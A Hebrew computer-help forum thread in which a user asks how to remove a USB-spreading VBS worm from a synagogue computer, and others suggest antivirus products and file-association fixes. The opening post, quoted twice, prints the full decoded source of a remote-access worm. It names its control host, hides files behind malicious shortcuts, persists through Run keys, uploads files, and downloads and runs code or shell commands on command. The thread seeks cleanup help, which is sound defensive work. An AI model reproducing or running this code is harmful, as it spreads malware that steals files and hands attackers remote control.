דילוג לתוכן
  • חוקי הפורום
  • פופולרי
  • לא נפתר
  • משתמשים
  • חיפוש גוגל בפורום
  • צור קשר
עיצובים
  • Light
  • Brite
  • Cerulean
  • Cosmo
  • Flatly
  • Journal
  • Litera
  • Lumen
  • Lux
  • Materia
  • Minty
  • Morph
  • Pulse
  • Sandstone
  • Simplex
  • Sketchy
  • Spacelab
  • United
  • Yeti
  • Zephyr
  • Dark
  • Cyborg
  • Darkly
  • Quartz
  • Slate
  • Solar
  • Superhero
  • Vapor

  • ברירת מחדל (ללא עיצוב (ברירת מחדל))
  • ללא עיצוב (ברירת מחדל)
כיווץ
מתמחים טופ
  1. דף הבית
  2. מחשבים וטכנולוגיה
  3. עזרה הדדית - מחשבים וטכנולוגיה
  4. בקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי

בקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי

מתוזמן נעוץ נעול הועבר עזרה הדדית - מחשבים וטכנולוגיה
46 פוסטים 16 כותבים 618 צפיות 14 עוקבים
  • מהישן לחדש
  • מהחדש לישן
  • הכי הרבה הצבעות
תגובה
  • תגובה כנושא
התחברו כדי לפרסם תגובה
נושא זה נמחק. רק משתמשים עם הרשאות מתאימות יוכלו לצפות בו.
  • A AMDesign

    @רנדומלי
    למניעת ההדבקה הבאה, מומלץ להתקין אנטי ווירוס יותר חזק יותר כמו eset,
    ואולי אפילו גרסה בתשלום אם זה מתאפשר....

    כ מנותק
    כ מנותק
    כככככ
    כתב נערך לאחרונה על ידי
    #33

    @AMDesign כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

    רנדומלי
    למניעת ההדבקה הבאה, מומלץ להתקין אנטי ווירוס יותר חזק יותר כמו eset,
    ואולי אפילו גרסה בתשלום אם זה מתאפשר

    סתם שאלה אין פה בפורום eset פרוץ שאתה כותב לו שיעשה בתשלום

    cfopuserC תגובה 1 תגובה אחרונה
    0
    • כ כככככ

      @AMDesign כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

      רנדומלי
      למניעת ההדבקה הבאה, מומלץ להתקין אנטי ווירוס יותר חזק יותר כמו eset,
      ואולי אפילו גרסה בתשלום אם זה מתאפשר

      סתם שאלה אין פה בפורום eset פרוץ שאתה כותב לו שיעשה בתשלום

      cfopuserC מנותק
      cfopuserC מנותק
      cfopuser
      כתב נערך לאחרונה על ידי cfopuser
      #34

      @כככככ anti virus פרוץ אתה לא רואה את הסתירה פה?

      יש מקורות אמינים לתוכנות פרוצות אבל עדיף להשאר בטוח ביחוד בדברים כאלו.

      תגובה 1 תגובה אחרונה
      1
      • ר רנדומלי

        בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

        cmd /c hrxxryydxo.vbs && start explorer [file name]
        

        הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

        לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

        תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

        לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

        z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
        

        בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
        לאחר פיענוח הקידוד התקבל הקוד הבא:
        אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

        e
        '<[ recoder : houdini (c) skype : houdini-fx ]>
        
        '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
        
        host = "khattab.no-ip.biz"
        port = 5550
        installdir = "%temp%"
        lnkfile = true
        lnkfolder = true
        
        '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
        
        dim shellobj 
        set shellobj = wscript.createobject("wscript.shell")
        dim filesystemobj
        set filesystemobj = createobject("scripting.filesystemobject")
        dim httpobj
        set httpobj = createobject("msxml2.xmlhttp")
        
        '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
        
        installname = wscript.scriptname
        startup = shellobj.specialfolders ("startup") & "\"
        installdir = shellobj.expandenvironmentstrings(installdir) & "\"
        if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
        spliter = "<" & "|" & ">"
        sleep = 5000 
        dim response
        dim cmd
        dim param
        info = ""
        usbspreading = ""
        startdate = ""
        dim oneonce
        
        '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
        on error resume next
        
        instance
        while true
        
        install
        
        response = ""
        response = post ("is-ready","")
        cmd = split (response,spliter)
        select case cmd (0)
        case "excecute"
              param = cmd (1)
              execute param
        case "update"
              param = cmd (1)
              oneonce.close
              set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
              oneonce.write param
              oneonce.close
              shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
              wscript.quit 
        case "uninstall"
              uninstall
        case "send"
              download cmd (1),cmd (2)
        case "site-send"
              sitedownloader cmd (1),cmd (2)
        case "recv"
              param = cmd (1)
              upload (param)
        case  "enum-driver"
              post "is-enum-driver",enumdriver  
        case  "enum-faf"
              param = cmd (1)
              post "is-enum-faf",enumfaf (param)
        case  "enum-process"
              post "is-enum-process",enumprocess   
        case  "cmd-shell"
              param = cmd (1)
              post "is-cmd-shell",cmdshell (param)  
        case  "delete"
              param = cmd (1)
              deletefaf (param) 
        case  "exit-process"
              param = cmd (1)
              exitprocess (param) 
        case  "sleep"
              param = cmd (1)
              sleep = eval (param)        
        end select
        
        wscript.sleep sleep
        
        wend
        
        sub install
        on error resume next
        dim lnkobj
        dim filename
        dim foldername
        dim fileicon
        dim foldericon
        
        upstart
        for each drive in filesystemobj.drives
        
        if  drive.isready = true then
        if  drive.freespace  > 0 then
        if  drive.drivetype  = 1 then
            filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
            if  filesystemobj.fileexists (drive.path & "\" & installname)  then
                filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
            end if
            for each file in filesystemobj.getfolder( drive.path & "\" ).Files
                if not lnkfile then exit for
                if  instr (file.name,".") then
                    if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                        file.attributes = 2+4
                        if  ucase (file.name) <> ucase (installname) then
                            filename = split(file.name,".")
                            set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                            lnkobj.windowstyle = 7
                            lnkobj.targetpath = "cmd.exe"
                            lnkobj.workingdirectory = ""
                            lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                            fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                            if  instr (fileicon,",") = 0 then
                                lnkobj.iconlocation = file.path
                            else 
                                lnkobj.iconlocation = fileicon
                            end if
                            lnkobj.save()
                        end if
                    end if
                end if
            next
            for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                if not lnkfolder then exit for
                folder.attributes = 2+4
                foldername = folder.name
                set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
                lnkobj.windowstyle = 7
                lnkobj.targetpath = "cmd.exe"
                lnkobj.workingdirectory = ""
                lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
                if  instr (foldericon,",") = 0 then
                    lnkobj.iconlocation = folder.path
                else 
                    lnkobj.iconlocation = foldericon
                end if
                lnkobj.save()
            next
        end If
        end If
        end if
        next
        err.clear
        end sub
        
        sub uninstall
        on error resume next
        dim filename
        dim foldername
        
        shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
        shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
        filesystemobj.deletefile startup & installname ,true
        filesystemobj.deletefile wscript.scriptfullname ,true
        
        for  each drive in filesystemobj.drives
        if  drive.isready = true then
        if  drive.freespace  > 0 then
        if  drive.drivetype  = 1 then
            for  each file in filesystemobj.getfolder ( drive.path & "\").files
                 on error resume next
                 if  instr (file.name,".") then
                     if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                         file.attributes = 0
                         if  ucase (file.name) <> ucase (installname) then
                             filename = split(file.name,".")
                             filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                         else
                             filesystemobj.deletefile (drive.path & "\" & file.name)
                         end If
                     else
                         filesystemobj.deletefile (file.path) 
                     end if
                 end if
             next
             for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                 folder.attributes = 0
             next
        end if
        end if
        end if
        next
        wscript.quit
        end sub
        
        function post (cmd ,param)
        
        post = param
        httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
        httpobj.setrequestheader "user-agent:",information
        httpobj.send param
        post = httpobj.responsetext
        end function
        
        function information
        on error resume next
        if  inf = "" then
            inf = hwid & spliter 
            inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
            inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
        
            set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
            set os = root.execquery ("select * from win32_operatingsystem")
            for each osinfo in os
               inf = inf & osinfo.caption & spliter  
               exit for
            next
            inf = inf & "plus" & spliter
            inf = inf & security & spliter
            inf = inf & usbspreading
            information = inf  
        else
            information = inf
        end if
        end function
        
        sub upstart ()
        on error resume Next
        
        shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
        shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
        filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
        filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
        
        end sub
        
        function hwid
        on error resume next
        
        set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
        set disks = root.execquery ("select * from win32_logicaldisk")
        for each disk in disks
            if  disk.volumeserialnumber <> "" then
                hwid = disk.volumeserialnumber
                exit for
            end if
        next
        end function
        
        function security 
        on error resume next
        
        security = ""
        
        set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
        set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
        for each objitem in colitems
            versionstr = split (objitem.version,".")
        next
        versionstr = split (colitems.version,".")
        osversion = versionstr (0) & "."
        for  x = 1 to ubound (versionstr)
             osversion = osversion &  versionstr (i)
        next
        osversion = eval (osversion)
        if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
        
        set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
        Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
        
        for each objantivirus in colantivirus
            security  = security  & objantivirus.displayname & " ."
        next
        if security  = "" then security  = "nan-av"
        end function
        
        function instance
        on error resume next
        
        usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
        if usbspreading = "" then
           if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
              usbspreading = "true - " & date
              shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
           else
              usbspreading = "false - " & date
              shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
        
           end if
        end If
        
        
        upstart
        set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
        set installfullnameshort =  filesystemobj.getfile (installdir & installname)
        if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
            shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
            wscript.quit 
        end If
        err.clear
        set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
        if  err.number > 0 then wscript.quit
        end function
        
        sub sitedownloader (fileurl,filename)
        
        strlink = fileurl
        strsaveto = installdir & filename
        set objhttpdownload = createobject("msxml2.xmlhttp" )
        objhttpdownload.open "get", strlink, false
        objhttpdownload.send
        
        set objfsodownload = createobject ("scripting.filesystemobject")
        if  objfsodownload.fileexists (strsaveto) then
            objfsodownload.deletefile (strsaveto)
        end if
         
        if objhttpdownload.status = 200 then
           dim  objstreamdownload
           set  objstreamdownload = createobject("adodb.stream")
           with objstreamdownload
                .type = 1 
                .open
                .write objhttpdownload.responsebody
                .savetofile strsaveto
                .close
           end with
           set objstreamdownload = nothing
        end if
        if objfsodownload.fileexists(strsaveto) then
           shellobj.run objfsodownload.getfile (strsaveto).shortpath
        end if 
        end sub
        
        sub download (fileurl,filedir)
        
        if filedir = "" then 
           filedir = installdir
        end if
        
        strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
        set objhttpdownload = createobject("msxml2.xmlhttp")
        objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
        objhttpdownload.send ""
             
        set objfsodownload = createobject ("scripting.filesystemobject")
        if  objfsodownload.fileexists (strsaveto) then
            objfsodownload.deletefile (strsaveto)
        end if
        if  objhttpdownload.status = 200 then
            dim  objstreamdownload
            set  objstreamdownload = createobject("adodb.stream")
            with objstreamdownload 
                 .type = 1 
                 .open
                 .write objhttpdownload.responsebody
                 .savetofile strsaveto
                 .close
            end with
            set objstreamdownload  = nothing
        end if
        if objfsodownload.fileexists(strsaveto) then
           shellobj.run objfsodownload.getfile (strsaveto).shortpath
        end if 
        end sub
        
        function upload (fileurl)
        
        dim  httpobj,objstreamuploade,buffer
        set  objstreamuploade = createobject("adodb.stream")
        with objstreamuploade 
             .type = 1 
             .open
             .loadfromfile fileurl
             buffer = .read
             .close
        end with
        set objstreamdownload = nothing
        set httpobj = createobject("msxml2.xmlhttp")
        httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
        httpobj.send buffer
        end function
        
        function enumdriver ()
        
        for  each drive in filesystemobj.drives
        if   drive.isready = true then
             enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
        end if
        next
        end Function
        
        function enumfaf (enumdir)
        
        enumfaf = enumdir & spliter
        for  each folder in filesystemobj.getfolder (enumdir).subfolders
             enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
        next
        
        for  each file in filesystemobj.getfolder (enumdir).files
             enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
        
        next
        end function
        
        function enumprocess ()
        
        on error resume next
        
        set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
        set colitems = objwmiservice.execquery("select * from win32_process",,48)
        
        dim objitem
        for each objitem in colitems
            enumprocess = enumprocess & objitem.name & "|"
            enumprocess = enumprocess & objitem.processid & "|"
            enumprocess = enumprocess & objitem.executablepath & spliter
        next
        end function
        
        sub exitprocess (pid)
        on error resume next
        
        shellobj.run "taskkill /F /T /PID " & pid,7,true
        end sub
        
        sub deletefaf (url)
        on error resume next
        
        filesystemobj.deletefile url
        filesystemobj.deletefolder url
        
        end sub
        
        function cmdshell (cmd)
        
        dim httpobj,oexec,readallfromany
        
        set oexec = shellobj.exec ("%comspec% /c " & cmd)
        if not oexec.stdout.atendofstream then
           readallfromany = oexec.stdout.readall
        elseif not oexec.stderr.atendofstream then
           readallfromany = oexec.stderr.readall
        else 
           readallfromany = ""
        end if
        
        cmdshell = readallfromany
        end function
        
        ה מנותק
        ה מנותק
        היפ הופ
        כתב נערך לאחרונה על ידי
        #35

        @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

        גם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

        אם זה עדיין רלוונטי אני יכול לדאוג לך לכל מיני בינות....

        תגובה 1 תגובה אחרונה
        0
        • א אור אור אור

          פוסט זה נמחק!

          המלאךה מנותק
          המלאךה מנותק
          המלאך
          כתב נערך לאחרונה על ידי המלאך
          #36

          @אור-אור-אור כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

          אפשרות א': שינוי "פתיחה באמצעות" (השיטה המומלצת)
          בשיטה זו, במקום שהמחשב יריץ את הקוד, הוא פשוט יפתח אותו כטקסט בתוך "פנקס רשימות" (Notepad). זה הופך את הווירוס למסמך קריאה תמים.

          צור על שולחן העבודה קובץ טקסט חדש ושנה את הסיומת שלו ל-.vbs (למשל test.vbs).

          לחץ עליו קליק ימני ובחר ב-"פתח באמצעות..." (Open with).

          בחר ב-"פנקס רשימות" (Notepad).

          חשוב מאוד: סמן בוי את התיבה: "השתמש תמיד באפליקציה זו כדי לפתוח קבצי .vbs".

          לחץ על אישור.

          התוצאה: מעתה והלאה, כל וירוס VBS שינסה לרוץ פשוט יפתח חלון של Notepad עם הרבה טקסט מוזר, ולא יזיק למחשב בכלל.

          @cfopuser הדרך הזו לא מסוכנת?
          כלומר מי ערב לכך שהוא לא יצר לעצמו קיצור דרך?
          או שיריץ דרך הפאואר שיל, הcmd?

          cfopuserC תגובה 1 תגובה אחרונה
          0
          • המלאךה המלאך

            @אור-אור-אור כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

            אפשרות א': שינוי "פתיחה באמצעות" (השיטה המומלצת)
            בשיטה זו, במקום שהמחשב יריץ את הקוד, הוא פשוט יפתח אותו כטקסט בתוך "פנקס רשימות" (Notepad). זה הופך את הווירוס למסמך קריאה תמים.

            צור על שולחן העבודה קובץ טקסט חדש ושנה את הסיומת שלו ל-.vbs (למשל test.vbs).

            לחץ עליו קליק ימני ובחר ב-"פתח באמצעות..." (Open with).

            בחר ב-"פנקס רשימות" (Notepad).

            חשוב מאוד: סמן בוי את התיבה: "השתמש תמיד באפליקציה זו כדי לפתוח קבצי .vbs".

            לחץ על אישור.

            התוצאה: מעתה והלאה, כל וירוס VBS שינסה לרוץ פשוט יפתח חלון של Notepad עם הרבה טקסט מוזר, ולא יזיק למחשב בכלל.

            @cfopuser הדרך הזו לא מסוכנת?
            כלומר מי ערב לכך שהוא לא יצר לעצמו קיצור דרך?
            או שיריץ דרך הפאואר שיל, הcmd?

            cfopuserC מנותק
            cfopuserC מנותק
            cfopuser
            כתב נערך לאחרונה על ידי
            #37

            @המלאך ai...
            לסקריפט הזה זה יעבוד אבל אכן מי ערב לדרכים שונות...

            המלאךה מתכנת חובבמ 2 תגובות תגובה אחרונה
            0
            • cfopuserC cfopuser

              @המלאך ai...
              לסקריפט הזה זה יעבוד אבל אכן מי ערב לדרכים שונות...

              המלאךה מנותק
              המלאךה מנותק
              המלאך
              כתב נערך לאחרונה על ידי
              #38

              @cfopuser 1000204791.jpg

              תגובה 1 תגובה אחרונה
              0
              • A AMDesign

                @תלמידהון
                למען האמת שאין לי מושג באמת (משתמש במק שלא מצוי כ״כ וירוסים אז אין לי אנטי וירוס) אבל כך ידוע שאיסט הכי טוב.
                דיפנדר מנסיון העבר (הלא רחוק, ובהווה לפעמים) לא משהו.

                מתכנת חובבמ מנותק
                מתכנת חובבמ מנותק
                מתכנת חובב
                מדריכים
                כתב נערך לאחרונה על ידי
                #39

                @AMDesign כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                דיפנדר מנסיון העבר (הלא רחוק, ובהווה לפעמים) לא משהו.

                דיפנדר מעולה
                אולי בעבר הדי רחוק היה לו שם רע
                כיום כמעט כל האנטי וירוסים הרציניים מקבלים ציונים גבוהים במבחנים ואין כמעט עדיפות של אחד על האחר אצל המשתמש הביתי מעבר לשיקולי מחיר ופיצ'רים

                צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                A תגובה 1 תגובה אחרונה
                4
                • מתכנת חובבמ מתכנת חובב

                  @AMDesign כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                  דיפנדר מנסיון העבר (הלא רחוק, ובהווה לפעמים) לא משהו.

                  דיפנדר מעולה
                  אולי בעבר הדי רחוק היה לו שם רע
                  כיום כמעט כל האנטי וירוסים הרציניים מקבלים ציונים גבוהים במבחנים ואין כמעט עדיפות של אחד על האחר אצל המשתמש הביתי מעבר לשיקולי מחיר ופיצ'רים

                  A מנותק
                  A מנותק
                  AMDesign
                  כתב נערך לאחרונה על ידי
                  #40

                  @מתכנת-חובב כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                  כיום כמעט כל האנטי וירוסים הרציניים

                  ואלו הם?

                  מתכנת חובבמ תגובה 1 תגובה אחרונה
                  0
                  • cfopuserC cfopuser

                    @המלאך ai...
                    לסקריפט הזה זה יעבוד אבל אכן מי ערב לדרכים שונות...

                    מתכנת חובבמ מנותק
                    מתכנת חובבמ מנותק
                    מתכנת חובב
                    מדריכים
                    כתב נערך לאחרונה על ידי
                    #41

                    @cfopuser כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                    לסקריפט הזה זה יעבוד אבל אכן מי ערב לדרכים שונות...

                    אין עניין לציין מה שאי אפשר \ לא כדאי לחסום
                    כלומר אם הוא יכול להתקין ולעדכן באופן שוטף אנטי וירוס - מעולה ואם לא - לא חושב שכדאי לו לחסום כל מה שזז כי אז הוא עלול להיתקל בהרבה בעיות אחרות
                    לדעתי חסימה של VBS והרצה של תיקון הכללי יספיקו לרוב ככל הוירוסים שמעבירים את עצמם דרך התקנים ניידים

                    צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                    תגובה 1 תגובה אחרונה
                    0
                    • A AMDesign

                      @מתכנת-חובב כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                      כיום כמעט כל האנטי וירוסים הרציניים

                      ואלו הם?

                      מתכנת חובבמ מנותק
                      מתכנת חובבמ מנותק
                      מתכנת חובב
                      מדריכים
                      כתב נערך לאחרונה על ידי מתכנת חובב
                      #42

                      @AMDesign הרציניים = רשימה ארוכה של הרבה מאוד אנטי וירוסים מוכרים שאינם אלו שידועים לשמצה

                      צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                      תגובה 1 תגובה אחרונה
                      2
                      • ר מנותק
                        ר מנותק
                        רנדומלי
                        כתב נערך לאחרונה על ידי
                        #43

                        תודה לכל המסייעים. מסתבר שמישהו מ"המנהלים" שיש לו גישה למחשב השבית אנטיוירוס על מנת להדפיס איזה קובץ מהאונקי שלו...

                        ביצעתי את ההצעות הרלוונטיות, כרגע למחשב שלום. מקווה שכך יהיה גם בעתיד. הנחיות אבטחת המידע חודדו והובנו.

                        A תגובה 1 תגובה אחרונה
                        1
                        • ר רנדומלי

                          תודה לכל המסייעים. מסתבר שמישהו מ"המנהלים" שיש לו גישה למחשב השבית אנטיוירוס על מנת להדפיס איזה קובץ מהאונקי שלו...

                          ביצעתי את ההצעות הרלוונטיות, כרגע למחשב שלום. מקווה שכך יהיה גם בעתיד. הנחיות אבטחת המידע חודדו והובנו.

                          A מנותק
                          A מנותק
                          ARISH
                          כתב נערך לאחרונה על ידי
                          #44

                          @רנדומלי אשמח לדעת באיזה מהתיקונים שהובאו השתמשת על מנת לדעת מה היעיל מבינהם או למישהו אחר שיעשה סדר בכל הדברים שהועלו כאן על מנת שנוכל לצאת עם דבר ברור מה באמת יעיל.

                          תגובה 1 תגובה אחרונה
                          0
                          • ר רנדומלי

                            בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

                            cmd /c hrxxryydxo.vbs && start explorer [file name]
                            

                            הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

                            לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

                            תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

                            לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

                            z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
                            

                            בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
                            לאחר פיענוח הקידוד התקבל הקוד הבא:
                            אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

                            e
                            '<[ recoder : houdini (c) skype : houdini-fx ]>
                            
                            '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                            
                            host = "khattab.no-ip.biz"
                            port = 5550
                            installdir = "%temp%"
                            lnkfile = true
                            lnkfolder = true
                            
                            '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
                            
                            dim shellobj 
                            set shellobj = wscript.createobject("wscript.shell")
                            dim filesystemobj
                            set filesystemobj = createobject("scripting.filesystemobject")
                            dim httpobj
                            set httpobj = createobject("msxml2.xmlhttp")
                            
                            '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
                            
                            installname = wscript.scriptname
                            startup = shellobj.specialfolders ("startup") & "\"
                            installdir = shellobj.expandenvironmentstrings(installdir) & "\"
                            if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
